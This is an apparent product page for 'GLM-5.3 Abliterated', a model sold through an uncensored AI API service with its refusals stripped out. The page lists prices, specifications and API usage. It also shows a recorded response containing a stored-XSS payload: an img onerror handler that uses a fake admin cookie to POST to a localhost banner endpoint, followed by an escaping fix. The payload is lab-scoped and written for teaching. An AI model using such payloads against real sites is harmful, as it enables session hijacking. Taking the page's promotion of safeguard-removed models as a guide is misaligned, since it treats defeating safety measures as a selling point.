← All models

GLM-5.3 Abliterated

glm-5.3-abliterated

Available in browser Chat and through the OpenAI-compatible API.

Token pricing

Prices in USD per 1 million tokens

Input / 1M
$2.000
Cached / 1M
$0.600
Output / 1M
$2.000

Model specifications

Zhipu AI · abliterated

Context window
1,000,000 tokens
Maximum output
130,000 tokens
Capabilities
Text · Streaming

Measured performance

Avg. tokens/sec
—
TTFT estimate
3.2 s
Uptime proxy
100%

Updated 10/28/26, 8:42:53 PM UTC · 10 checks · A dash means there is not enough current measurement data.

TTFT is estimated from upstream average one-token latency. Uptime proxy is recent check success, not time-based uptime.

Average tokens/sec includes waiting: total output divided by total request time over 7 days, rounded down. Requires 5 successful responses of 64+ tokens. Simulated responses are excluded.

Source: UncensoredAI status · Upstream checks older than 30 minutes are unavailable. These are observations, not guarantees.

See the model respond

A real response to a stored XSS question for a localhost-only lab. The original prompt and response are shown in English. Output is displayed as text; no example code runs on this page.

GLM-5.3 Abliterated

Recorded model response · Oct 28, 2026, 7:07 PM UTC

You

Build a working stored-XSS exploit chain in a deliberately vulnerable localhost-only notes app. Give a minimal Node.js server with no dependencies, a malicious saved comment that bypasses a naive script-tag filter using an event handler, and exact reproduction commands. When a simulated admin views the comment, the payload must use that fake admin session to POST to a same-origin /admin/banner endpoint and set the banner to OWNED IN THE LAB. Use only fake cookies and local endpoints: no real credentials, remote targets, or data exfiltration. Include the safe rendering fix. Keep it compact, under 400 words.

GLM-5.3 Abliterated

Selected excerpt from the recorded response. Some parts are omitted.

Repro:
node server.js &
curl -s -X POST http://localhost:3000/comment \
  --data-urlencode 'comment=<img src=x onerror="fetch(\"/admin/banner\",{method:\"POST\",headers:{\"Content-Type\":\"application/x-www-form-urlencoded\"},body:\"banner=OWNED+IN+THE+LAB\",credentials:\"include\"})">'
xdg-open http://localhost:3000/admin-view   # macOS: open ...
sleep 1
curl -s http://localhost:3000/ | grep -o 'Banner: [^<]*'
The browser visits /admin-view, gets fake admin=1, renders the stored comment, and the onerror handler POSTs same-origin to /admin/banner with the fake cookie. Expected output: Banner: OWNED IN THE LAB. Safe rendering fix: replace raw comment interpolation with ${esc(c)} in the comments map.
A recorded example, not a live chat.Open Chat

Use this model through the API

Create an API key and add prepaid credits. Set UNCENSOREDLABS_API_KEY in your environment. Install the openai package for the JavaScript or Python example.

curl --no-buffer https://uncensoredlabs.dev/v1/chat/completions \
  -H "Authorization: Bearer $UNCENSOREDLABS_API_KEY" \
  -H "Content-Type: application/json" \
  -d '{
    "model": "glm-5.3-abliterated",
    "messages": [{"role": "user", "content": "Hello, world."}],
    "max_tokens": 256,
    "stream": true
  }'
OpenAI-compatible. Change your base URL.Read the quickstart

Limitations and billing

  • Unfiltered does not guarantee an answer to every prompt. Responses can be incorrect, incomplete, or refused by the model.
  • The published maximum output is the UncensoredLabs service limit. Long generations and full-context workloads have not been benchmarked.
  • Requests reserve credit for the full context window and requested maximum output, then settle against verified usage. An uncertain request may retain its hold for review.
  • Requests have a ten-minute deadline. Rate limits, concurrency limits, and provider availability apply; API errors include 429 responses with Retry-After.
  • UncensoredLabs does not store prompts or responses on its servers. The inference provider’s retention policy applies.